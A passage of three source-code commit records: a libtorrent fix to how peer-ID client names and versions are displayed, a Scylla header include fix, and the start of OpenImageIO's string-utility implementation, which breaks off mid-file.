<commit_before>/*

Copyright (c) 2003, Arvid Norberg
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

    * Redistributions of source code must retain the above copyright
      notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in
      the documentation and/or other materials provided with the distribution.
    * Neither the name of the author nor the names of its
      contributors may be used to endorse or promote products derived
      from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

*/

#include <cctype>
#include <algorithm>

#ifdef _MSC_VER
#pragma warning(push, 1)
#endif

#include <boost/optional.hpp>

#ifdef _MSC_VER
#pragma warning(pop)
#endif

#include "libtorrent/identify_client.hpp"
#include "libtorrent/fingerprint.hpp"

namespace
{

	using namespace libtorrent;

	int decode_digit(char c)
	{
		if (std::isdigit(c)) return c - '0';
		return unsigned(c) - 'A' + 10;
	}

	// takes a peer id and returns a valid boost::optional
	// object if the peer id matched the azureus style encoding
	// the returned fingerprint contains information about the
	// client's id
	boost::optional<fingerprint> parse_az_style(const peer_id& id)
	{
		fingerprint ret("..", 0, 0, 0, 0);

		if (id[0] != '-' || !std::isprint(id[1]) || (id[2] < '0')
			|| (id[3] < '0') || (id[4] < '0')
			|| (id[5] < '0') || (id[6] < '0')
			|| id[7] != '-')
			return boost::optional<fingerprint>();

		ret.id[0] = id[1];
		ret.id[1] = id[2];
		ret.major_version = decode_digit(id[3]);
		ret.minor_version = decode_digit(id[4]);
		ret.revision_version = decode_digit(id[5]);
		ret.tag_version = decode_digit(id[6]);

		return boost::optional<fingerprint>(ret);
	}

	// checks if a peer id can possibly contain a shadow-style
	// identification
	boost::optional<fingerprint> parse_shadow_style(const peer_id& id)
	{
		fingerprint ret("..", 0, 0, 0, 0);

		if (!std::isalnum(id[0]))
			return boost::optional<fingerprint>();

		if (std::equal(id.begin()+4, id.begin()+6, "--"))
		{
			if ((id[1] < '0') || (id[2] < '0')
				|| (id[3] < '0'))
				return boost::optional<fingerprint>();
			ret.major_version = decode_digit(id[1]);
			ret.minor_version = decode_digit(id[2]);
			ret.revision_version = decode_digit(id[3]);
		}
		else
		{
			if (id[8] != 0 || id[1] > 127 || id[2] > 127 || id[3] > 127)
				return boost::optional<fingerprint>();
			ret.major_version = id[1];
			ret.minor_version = id[2];
			ret.revision_version = id[3];
		}

		ret.id[0] = id[0];
		ret.id[1] = 0;

		ret.tag_version = 0;
		return boost::optional<fingerprint>(ret);
	}

	// checks if a peer id can possibly contain a mainline-style
	// identification
	boost::optional<fingerprint> parse_mainline_style(const peer_id& id)
	{
		if (!std::isprint(id[0])
			|| !std::isalnum(id[1])
			|| id[2] != '-'
			|| !std::isalnum(id[3])
			|| id[4] != '-'
			|| !std::isalnum(id[5])
			|| !std::equal(id.begin() + 6, id.begin() + 8, "--"))
			return boost::optional<fingerprint>();

		fingerprint ret("..", 0, 0, 0, 0);

		ret.id[0] = id[0];
		ret.id[1] = 0;
		ret.major_version = decode_digit(id[1]);
		ret.minor_version = decode_digit(id[3]);
		ret.revision_version = decode_digit(id[5]);
		ret.tag_version = 0;
		return boost::optional<fingerprint>(ret);
	}

	typedef std::pair<char const*, char const*> map_entry;

	// only support BitTorrentSpecification
	// must be ordered alphabetically
	map_entry name_map[] =
	{
		map_entry("A",  "ABC")
		, map_entry("AR", "Arctic Torrent")
		, map_entry("AZ", "Azureus")
		, map_entry("BB", "BitBuddy")
		, map_entry("BC", "BitComet")
		, map_entry("BS", "BTSlave")
		, map_entry("BX", "BittorrentX")
		, map_entry("CT", "CTorrent")
		, map_entry("KT", "KTorrent")
		, map_entry("LT", "libtorrent")
		, map_entry("M",  "Mainline")
		, map_entry("MP", "MooPolice")
		, map_entry("MT", "Moonlight Torrent")
		, map_entry("O",  "Osprey Permaseed")
		, map_entry("S",  "Shadow")
		, map_entry("SB", "Swiftbit")
		, map_entry("SN", "ShareNet")
		, map_entry("SS", "SwarmScope")
		, map_entry("SZ", "Shareaza")
		, map_entry("T",  "BitTornado")
		, map_entry("TN", "Torrent.NET")
		, map_entry("TS", "TorrentStorm")
		, map_entry("U",  "UPnP")
		, map_entry("UT", "MicroTorrent")
		, map_entry("XT", "XanTorrent")
		, map_entry("ZT", "ZipTorrent")
		, map_entry("lt", "libTorrent (libtorrent.rakshasa.no/)")
		, map_entry("pX", "pHoeniX")
	};

	bool compare_first_string(map_entry const& e, char const* str)
	{
		return e.first[0] < str[0]
			|| ((e.first[0] == str[0]) && (e.first[1] < str[1]));
	}

	std::string lookup(fingerprint const& f)
	{
		std::stringstream identity;

		const int size = sizeof(name_map)/sizeof(name_map[0]);
		map_entry* i =
			std::lower_bound(name_map, name_map + size
				, f.id, &compare_first_string);

#ifndef NDEBUG
		for (int i = 1; i < size; ++i)
		{
			assert(compare_first_string(name_map[i-1]
				, name_map[i].first));
		}
#endif

		if (i < name_map + size && std::equal(f.id, f.id + 2, i->first))
			identity << i->second;
		else
			identity << std::string(f.id, f.id + 2);

		identity << " " << (int)f.major_version
			<< "." << (int)f.minor_version
			<< "." << (int)f.revision_version
			<< "." << (int)f.tag_version;

		return identity.str();
	}

	bool find_string(unsigned char const* id, char const* search)
	{
		return std::equal(search, search + std::strlen(search), id);
	}
}

namespace libtorrent
{

	std::string identify_client(const peer_id& p)
	{
		peer_id::const_iterator PID = p.begin();
		boost::optional<fingerprint> f;

		if (p.is_all_zeros()) return "Unknown";

		// ----------------------
		// non standard encodings
		// ----------------------

		if (find_string(PID, "Deadman Walking-")) return "Deadman";
		if (find_string(PID + 5, "Azureus")) return "Azureus 2.0.3.2";
		if (find_string(PID, "DansClient")) return "XanTorrent";
		if (find_string(PID + 4, "btfans")) return "SimpleBT";
		if (find_string(PID, "PRC.P---")) return "Bittorrent Plus! II";
		if (find_string(PID, "P87.P---")) return "Bittorrent Plus!";
		if (find_string(PID, "S587Plus")) return "Bittorrent Plus!";
		if (find_string(PID, "martini")) return "Martini Man";
		if (find_string(PID, "Plus---")) return "Bittorrent Plus";
		if (find_string(PID, "turbobt")) return "TurboBT";
		if (find_string(PID, "a00---0")) return "Swarmy";
		if (find_string(PID, "a02---0")) return "Swarmy";
		if (find_string(PID, "T00---0")) return "Teeweety";
		if (find_string(PID, "BTDWV-")) return "Deadman Walking";
		if (find_string(PID + 2, "BS")) return "BitSpirit";
		if (find_string(PID, "btuga")) return "BTugaXP";
		if (find_string(PID, "oernu")) return "BTugaXP";
		if (find_string(PID, "Mbrst")) return "Burst!";
		if (find_string(PID, "Plus")) return "Plus!";
		if (find_string(PID, "-Qt-")) return "Qt";
		if (find_string(PID, "exbc")) return "BitComet";
		if (find_string(PID, "-G3")) return "G3 Torrent";
		if (find_string(PID, "XBT")) return "XBT";
		if (find_string(PID, "OP")) return "Opera";

		if (find_string(PID, "-BOW") && PID[7] == '-')
			return "Bits on Wheels " + std::string(PID + 4, PID + 7);

		if (find_string(PID, "eX"))
		{
			std::string user(PID + 2, PID + 14);
			return std::string("eXeem ('") + user.c_str() + "')";
		}

		if (std::equal(PID, PID + 13, "\0\0\0\0\0\0\0\0\0\0\0\0\x97"))
			return "Experimental 3.2.1b2";

		if (std::equal(PID, PID + 13, "\0\0\0\0\0\0\0\0\0\0\0\0\0"))
			return "Experimental 3.1";

		// look for azureus style id
		f = parse_az_style(p);
		if (f) return lookup(*f);

		// look for shadow style id
		f = parse_shadow_style(p);
		if (f) return lookup(*f);

		// look for mainline style id
		f = parse_mainline_style(p);
		if (f) return lookup(*f);

		if (std::equal(PID, PID + 12, "\0\0\0\0\0\0\0\0\0\0\0\0"))
			return "Generic";

		std::string unknown("Unknown [");
		for (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)
		{
			unknown += std::isprint(*i)?*i:'.';
		}
		unknown += "]";
		return unknown;
	}

}
<commit_msg>fix for unkown clients using shadow's style<commit_after>/*

Copyright (c) 2003, Arvid Norberg
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

    * Redistributions of source code must retain the above copyright
      notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in
      the documentation and/or other materials provided with the distribution.
    * Neither the name of the author nor the names of its
      contributors may be used to endorse or promote products derived
      from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

*/

#include <cctype>
#include <algorithm>

#ifdef _MSC_VER
#pragma warning(push, 1)
#endif

#include <boost/optional.hpp>

#ifdef _MSC_VER
#pragma warning(pop)
#endif

#include "libtorrent/identify_client.hpp"
#include "libtorrent/fingerprint.hpp"

namespace
{

	using namespace libtorrent;

	int decode_digit(char c)
	{
		if (std::isdigit(c)) return c - '0';
		return unsigned(c) - 'A' + 10;
	}

	// takes a peer id and returns a valid boost::optional
	// object if the peer id matched the azureus style encoding
	// the returned fingerprint contains information about the
	// client's id
	boost::optional<fingerprint> parse_az_style(const peer_id& id)
	{
		fingerprint ret("..", 0, 0, 0, 0);

		if (id[0] != '-' || !std::isprint(id[1]) || (id[2] < '0')
			|| (id[3] < '0') || (id[4] < '0')
			|| (id[5] < '0') || (id[6] < '0')
			|| id[7] != '-')
			return boost::optional<fingerprint>();

		ret.id[0] = id[1];
		ret.id[1] = id[2];
		ret.major_version = decode_digit(id[3]);
		ret.minor_version = decode_digit(id[4]);
		ret.revision_version = decode_digit(id[5]);
		ret.tag_version = decode_digit(id[6]);

		return boost::optional<fingerprint>(ret);
	}

	// checks if a peer id can possibly contain a shadow-style
	// identification
	boost::optional<fingerprint> parse_shadow_style(const peer_id& id)
	{
		fingerprint ret("..", 0, 0, 0, 0);

		if (!std::isalnum(id[0]))
			return boost::optional<fingerprint>();

		if (std::equal(id.begin()+4, id.begin()+6, "--"))
		{
			if ((id[1] < '0') || (id[2] < '0')
				|| (id[3] < '0'))
				return boost::optional<fingerprint>();
			ret.major_version = decode_digit(id[1]);
			ret.minor_version = decode_digit(id[2]);
			ret.revision_version = decode_digit(id[3]);
		}
		else
		{
			if (id[8] != 0 || id[1] > 127 || id[2] > 127 || id[3] > 127)
				return boost::optional<fingerprint>();
			ret.major_version = id[1];
			ret.minor_version = id[2];
			ret.revision_version = id[3];
		}

		ret.id[0] = id[0];
		ret.id[1] = 0;

		ret.tag_version = 0;
		return boost::optional<fingerprint>(ret);
	}

	// checks if a peer id can possibly contain a mainline-style
	// identification
	boost::optional<fingerprint> parse_mainline_style(const peer_id& id)
	{
		if (!std::isprint(id[0])
			|| !std::isalnum(id[1])
			|| id[2] != '-'
			|| !std::isalnum(id[3])
			|| id[4] != '-'
			|| !std::isalnum(id[5])
			|| !std::equal(id.begin() + 6, id.begin() + 8, "--"))
			return boost::optional<fingerprint>();

		fingerprint ret("..", 0, 0, 0, 0);

		ret.id[0] = id[0];
		ret.id[1] = 0;
		ret.major_version = decode_digit(id[1]);
		ret.minor_version = decode_digit(id[3]);
		ret.revision_version = decode_digit(id[5]);
		ret.tag_version = 0;
		return boost::optional<fingerprint>(ret);
	}

	typedef std::pair<char const*, char const*> map_entry;

	// only support BitTorrentSpecification
	// must be ordered alphabetically
	map_entry name_map[] =
	{
		map_entry("A",  "ABC")
		, map_entry("AR", "Arctic Torrent")
		, map_entry("AZ", "Azureus")
		, map_entry("BB", "BitBuddy")
		, map_entry("BC", "BitComet")
		, map_entry("BS", "BTSlave")
		, map_entry("BX", "BittorrentX")
		, map_entry("CT", "CTorrent")
		, map_entry("KT", "KTorrent")
		, map_entry("LT", "libtorrent")
		, map_entry("M",  "Mainline")
		, map_entry("MP", "MooPolice")
		, map_entry("MT", "Moonlight Torrent")
		, map_entry("O",  "Osprey Permaseed")
		, map_entry("S",  "Shadow")
		, map_entry("SB", "Swiftbit")
		, map_entry("SN", "ShareNet")
		, map_entry("SS", "SwarmScope")
		, map_entry("SZ", "Shareaza")
		, map_entry("T",  "BitTornado")
		, map_entry("TN", "Torrent.NET")
		, map_entry("TS", "TorrentStorm")
		, map_entry("U",  "UPnP")
		, map_entry("UT", "MicroTorrent")
		, map_entry("XT", "XanTorrent")
		, map_entry("ZT", "ZipTorrent")
		, map_entry("lt", "libTorrent (libtorrent.rakshasa.no/)")
		, map_entry("pX", "pHoeniX")
	};

	bool compare_first_string(map_entry const& e, char const* str)
	{
		return e.first[0] < str[0]
			|| ((e.first[0] == str[0]) && (e.first[1] < str[1]));
	}

	std::string lookup(fingerprint const& f)
	{
		std::stringstream identity;

		const int size = sizeof(name_map)/sizeof(name_map[0]);
		map_entry* i =
			std::lower_bound(name_map, name_map + size
				, f.id, &compare_first_string);

#ifndef NDEBUG
		for (int i = 1; i < size; ++i)
		{
			assert(compare_first_string(name_map[i-1]
				, name_map[i].first));
		}
#endif

		if (i < name_map + size && std::equal(f.id, f.id + 2, i->first))
			identity << i->second;
		else
		{
			identity << f.id[0];
			if (f.id[1] != 0) identity << f.id[1];
		}

		identity << " " << (int)f.major_version
			<< "." << (int)f.minor_version
			<< "." << (int)f.revision_version;

		if (f.id[1] != 0)
			identity << "." << (int)f.tag_version;

		return identity.str();
	}

	bool find_string(unsigned char const* id, char const* search)
	{
		return std::equal(search, search + std::strlen(search), id);
	}
}

namespace libtorrent
{

	std::string identify_client(const peer_id& p)
	{
		peer_id::const_iterator PID = p.begin();
		boost::optional<fingerprint> f;

		if (p.is_all_zeros()) return "Unknown";

		// ----------------------
		// non standard encodings
		// ----------------------

		if (find_string(PID, "Deadman Walking-")) return "Deadman";
		if (find_string(PID + 5, "Azureus")) return "Azureus 2.0.3.2";
		if (find_string(PID, "DansClient")) return "XanTorrent";
		if (find_string(PID + 4, "btfans")) return "SimpleBT";
		if (find_string(PID, "PRC.P---")) return "Bittorrent Plus! II";
		if (find_string(PID, "P87.P---")) return "Bittorrent Plus!";
		if (find_string(PID, "S587Plus")) return "Bittorrent Plus!";
		if (find_string(PID, "martini")) return "Martini Man";
		if (find_string(PID, "Plus---")) return "Bittorrent Plus";
		if (find_string(PID, "turbobt")) return "TurboBT";
		if (find_string(PID, "a00---0")) return "Swarmy";
		if (find_string(PID, "a02---0")) return "Swarmy";
		if (find_string(PID, "T00---0")) return "Teeweety";
		if (find_string(PID, "BTDWV-")) return "Deadman Walking";
		if (find_string(PID + 2, "BS")) return "BitSpirit";
		if (find_string(PID, "btuga")) return "BTugaXP";
		if (find_string(PID, "oernu")) return "BTugaXP";
		if (find_string(PID, "Mbrst")) return "Burst!";
		if (find_string(PID, "Plus")) return "Plus!";
		if (find_string(PID, "-Qt-")) return "Qt";
		if (find_string(PID, "exbc")) return "BitComet";
		if (find_string(PID, "-G3")) return "G3 Torrent";
		if (find_string(PID, "XBT")) return "XBT";
		if (find_string(PID, "OP")) return "Opera";

		if (find_string(PID, "-BOW") && PID[7] == '-')
			return "Bits on Wheels " + std::string(PID + 4, PID + 7);

		if (find_string(PID, "eX"))
		{
			std::string user(PID + 2, PID + 14);
			return std::string("eXeem ('") + user.c_str() + "')";
		}

		if (std::equal(PID, PID + 13, "\0\0\0\0\0\0\0\0\0\0\0\0\x97"))
			return "Experimental 3.2.1b2";

		if (std::equal(PID, PID + 13, "\0\0\0\0\0\0\0\0\0\0\0\0\0"))
			return "Experimental 3.1";

		// look for azureus style id
		f = parse_az_style(p);
		if (f) return lookup(*f);

		// look for shadow style id
		f = parse_shadow_style(p);
		if (f) return lookup(*f);

		// look for mainline style id
		f = parse_mainline_style(p);
		if (f) return lookup(*f);

		if (std::equal(PID, PID + 12, "\0\0\0\0\0\0\0\0\0\0\0\0"))
			return "Generic";

		std::string unknown("Unknown [");
		for (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)
		{
			unknown += std::isprint(*i)?*i:'.';
		}
		unknown += "]";
		return unknown;
	}

}
<|endoftext|>


<commit_before>/*
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/*
 * Modified by Cloudius Systems
 *
 * Copyright 2014 Cloudius Systems
 */

#pragma once
#include "database.hh"

namespace db {
namespace composites {

// FIXME
class CellNameType;
class ColumnIdentifier;
class CFMetaData;

/**
 * A CellName is a Composite, but for which, for the sake of CQL3, we
 * distinguish different parts: a CellName has first a number of clustering
 * components, followed by the CQL3 column name, and then possibly followed by
 * a collection element part.
 *
 * The clustering prefix can itself be composed of multiple component. It can
 * also be empty if the table has no clustering keys. In general, the CQL3
 * column name follows. However, some type of COMPACT STORAGE layout do not
 * store the CQL3 column name in the cell name and so this part can be null (we
 * call "dense" the cells whose name don't store the CQL3 column name).
 *
 * Lastly, if the cell is part of a CQL3 collection, we'll have a last
 * component (a UUID for lists, an element for sets and a key for maps).
 */
class cell_name : public composite {
public:
    /**
     * The number of clustering components.
     *
     * It can be 0 if the table has no clustering columns, and it can be
     * equal to size() if the table is dense() (in which case cql3ColumnName()
     * will be null).
     */
    virtual int32_t clustering_size() = 0;

    /**
     * The name of the CQL3 column this cell represents.
     *
     * Will be null for cells of "dense" tables.
     * @param metadata
     */
    virtual ColumnIdentifier cql3_column_name(CFMetaData metadata) = 0;

    /**
     * The value of the collection element, or null if the cell is not part
     * of a collection (i.e. if !isCollectionCell()).
     */
    virtual bytes collection_element() = 0 ;
    virtual bool is_collection_cell() = 0;

    /**
     * Whether this cell is part of the same CQL3 row as the other cell.
     */
    virtual bool is_same_cql3_row_as(CellNameType type, cell_name& other) = 0;

    // If cellnames were sharing some prefix components, this will break it, so
    // we might want to try to do better.
    // @Override
#if 0
    // FIXME
    virtual cell_name copy(CFMetaData cfm, AbstractAllocator allocator) = 0;
#endif

    virtual int64_t unshared_heap_size_excluding_data() = 0;
};

} // composites
} // db
<commit_msg>db: Fix include in cell_name.hh<commit_after>/*
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/*
 * Modified by Cloudius Systems
 *
 * Copyright 2014 Cloudius Systems
 */

#pragma once
#include "database.hh"

#include "db/composites/composite.hh"

namespace db {
namespace composites {

// FIXME
class CellNameType;
class ColumnIdentifier;
class CFMetaData;

/**
 * A CellName is a Composite, but for which, for the sake of CQL3, we
 * distinguish different parts: a CellName has first a number of clustering
 * components, followed by the CQL3 column name, and then possibly followed by
 * a collection element part.
 *
 * The clustering prefix can itself be composed of multiple component. It can
 * also be empty if the table has no clustering keys. In general, the CQL3
 * column name follows. However, some type of COMPACT STORAGE layout do not
 * store the CQL3 column name in the cell name and so this part can be null (we
 * call "dense" the cells whose name don't store the CQL3 column name).
 *
 * Lastly, if the cell is part of a CQL3 collection, we'll have a last
 * component (a UUID for lists, an element for sets and a key for maps).
 */
class cell_name : public composite {
public:
    /**
     * The number of clustering components.
     *
     * It can be 0 if the table has no clustering columns, and it can be
     * equal to size() if the table is dense() (in which case cql3ColumnName()
     * will be null).
     */
    virtual int32_t clustering_size() = 0;

    /**
     * The name of the CQL3 column this cell represents.
     *
     * Will be null for cells of "dense" tables.
     * @param metadata
     */
    virtual ColumnIdentifier cql3_column_name(CFMetaData metadata) = 0;

    /**
     * The value of the collection element, or null if the cell is not part
     * of a collection (i.e. if !isCollectionCell()).
     */
    virtual bytes collection_element() = 0 ;
    virtual bool is_collection_cell() = 0;

    /**
     * Whether this cell is part of the same CQL3 row as the other cell.
     */
    virtual bool is_same_cql3_row_as(CellNameType type, cell_name& other) = 0;

    // If cellnames were sharing some prefix components, this will break it, so
    // we might want to try to do better.
    // @Override
#if 0
    // FIXME
    virtual cell_name copy(CFMetaData cfm, AbstractAllocator allocator) = 0;
#endif

    virtual int64_t unshared_heap_size_excluding_data() = 0;
};

} // composites
} // db
<|endoftext|>


<commit_before>/*
  Copyright 2008 Larry Gritz and the other authors and contributors.
  All Rights Reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are
  met:
  * Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.
  * Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.
  * Neither the name of the software's owners nor the names of its
    contributors may be used to endorse or promote products derived from
    this software without specific prior written permission.
  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

  (This is the Modified BSD License)
*/

#include <string>
#include <cstdarg>
#include <vector>
#include <iostream>
#include <cmath>
#include <sstream>
#include <boost/tokenizer.hpp>
#include <boost/foreach.hpp>
#include <boost/algorithm/string.hpp>

#include "dassert.h"

#include "strutil.h"

OIIO_NAMESPACE_ENTER
{

std::string
Strutil::format (const char *fmt, ...)
{
    va_list ap;
    va_start (ap, fmt);
    std::string buf = vformat (fmt, ap);
    va_end (ap);
    return buf;
}

std::string
Strutil::vformat (const char *fmt, va_list ap)
{
    // Allocate a buffer on the stack that's big enough for us almost
    // all the time.  Be prepared to allocate dynamically if it doesn't fit.
    size_t size = 1024;
    char stackbuf[1024];
    std::vector<char> dynamicbuf;
    char *buf = &stackbuf[0];

    while (1) {
        // Try to vsnprintf into our buffer.
        va_list apsave;
#ifdef va_copy
        va_copy (apsave, ap);
#else
        apsave = ap;
#endif
        int needed = vsnprintf (buf, size, fmt, ap);
        va_end (ap);

        // NB. C99 (which modern Linux and OS X follow) says vsnprintf
        // failure returns the length it would have needed.  But older
        // glibc and current Windows return -1 for failure, i.e., not
        // telling us how much was needed.

        if (needed < (int)size && needed >= 0) {
            // It fit fine so we're done.
            return std::string (buf, (size_t) needed);
        }

        // vsnprintf reported that it wanted to write more characters
        // than we allotted.  So try again using a dynamic buffer.  This
        // doesn't happen very often if we chose our initial size well.
        size = (needed > 0) ? (needed+1) : (size*2);
        dynamicbuf.resize (size);
        buf = &dynamicbuf[0];
#ifdef va_copy
        va_copy (ap, apsave);
#else
        ap = apsave;
#endif
    }
}

std::string
Strutil::memformat (off_t bytes, int digits)
{
    const long long KB = (1<<10);
    const long long MB = (1<<20);
    const long long GB = (1<<30);
    const char *units = "B";
    double d = bytes;
    if (bytes >= GB) {
        units = "GB";
        d = (double)bytes / GB;
    } else if (bytes >= MB) {
        units = "MB";
        d = (double)bytes / MB;
    } else if (bytes >= KB) {
        // Just KB, don't bother with decimalization
        return format ("%lld KB", (long long)bytes/KB);
    } else {
        // Just bytes, don't bother with decimalization
        return format ("%lld B", (long long)bytes);
    }
    return format ("%1.*f %s", digits, d, units);
}

std::string
Strutil::timeintervalformat (double secs, int digits)
{
    const double mins = 60;
    const double hours = mins * 60;
    const double days = hours * 24;

    std::string out;
    int d = (int) floor (secs / days);
    secs = fmod (secs, days);
    int h = (int) floor (secs / hours);
    secs = fmod (secs, hours);
    int m = (int) floor (secs / mins);
    secs = fmod (secs, mins);
    if (d)
        out += format ("%dd ", d);
    if (h || d)
        out += format ("%2dh ", h);
    if (m || h || d)
        out += format ("%dm %1.*fs", m, digits, secs);
    else
        out += format ("%1.*fs", digits, secs);
    return out;
}

bool
Strutil::get_rest_arguments (const std::string &str, std::string &base,
                             std::map<std::string, std::string> &result)
{
    std::string::size_type mark_pos = str.find_first_of ("?");
    if (mark_pos == std::string::npos) {
        base = str;
        return true;
    }

    base = str.substr (0, mark_pos);

    boost::char_separator<char> sep ("&");
    std::string rest = str.substr (mark_pos + 1);
    boost::tokenizer<boost::char_separator<char> > rest_tokens (rest, sep);
    BOOST_FOREACH (std::string keyval, rest_tokens) {
        mark_pos = keyval.find_first_of ("=");
        if (mark_pos == std::string::npos)
            return false;
        result[keyval.substr (0, mark_pos)] = keyval.substr (mark_pos + 1);
    }

    return true;
}

std::string
Strutil::escape_chars (const std::string &unescaped)
{
    std::string s = unescaped;
    for (size_t i = 0;  i < s.length();  ++i) {
        char c = s[i];
        if (c == '\n' || c == '\t' || c == '\v' || c == '\b' ||
            c == '\r' || c == '\f' || c == '\a' || c == '\\' || c == '\"') {
            s[i] = '\\';
            ++i;
            switch (c) {
            case '\n' : c = 'n'; break;
            case '\t' : c = 't'; break;
            case '\v' : c = 'v'; break;
            case '\b' : c = 'b'; break;
            case '\r' : c = 'r'; break;
            case '\f' : c = 'f'; break;
            case '\a' : c = 'a'; break;
            }
            s.insert (i, &c, 1);
        }
    }
    return s;
}

std::string
Strutil::unescape_chars (const std::string &escaped)
{
    std::string s = escaped;
    for (size_t i = 0, len = s.length();  i < len;  ++i) {
        if (s[i] == '\\') {
            char c = s[i+1];
            if (c == 'n' || c == 't' || c == 'v' || c == 'b' ||
                c == 'r' || c == 'f' || c == 'a' || c == '\\' || c == '\"') {
                s.erase (i, 1);
                --len;
                switch (c) {
                case 'n' : s[i] = '\n'; break;
                case 't' : s[i] = '\t'; break;
                case 'v' : s[i] = '\v'; break;
                case 'b' : s[i] = '\b'; break;
                case 'r' : s[i] = '\r'; break;
                case 'f' : s[i] = '\f'; break;
                case 'a' : s[i] = '\a'; break;
                // default case: the deletion is enough (backslash and quote)
                }
            } else if (c >= '0' && c < '8') {
                // up to 3 octal digits
                int octalChar = 0;
                for (int j = 0;  j < 3 && c >= '0' && c <= '7';  ++j) {
                    octalChar = 8*octalChar + (c - '0');
                    s.erase (i, 1);
                    --len;
                    c = s[i+1];
                }
                s[i] = (char) octalChar;
            }

        }
    }
    return s;
}

std::string
Strutil::wordwrap (std::string src, int columns, int prefix)
{
    std::ostringstream out;
    if (columns < prefix+20)
        return src;   // give up, no way to make it wrap
    columns -= prefix;  // now columns is the real width we have to work with
    while ((int)src.length() > columns) {
        // break the string in two
        size_t breakpoint = src.find_last_of (' ', columns);
        if (breakpoint == std::string::npos)
            breakpoint = columns;
        out << src.substr(0, breakpoint) << "\n" << std::string (prefix, ' ');
        src = src.substr (breakpoint);
        while (src[0] == ' ')
            src.erase (0, 1);
    }
    out << src;
    return out.str();
}

namespace {
static std::locale loc = std::locale::classic();
}

bool
Strutil::iequals (const std::string &a, const std::string &b)
{
    return boost::algorithm::iequals (a, b, loc);
}

bool
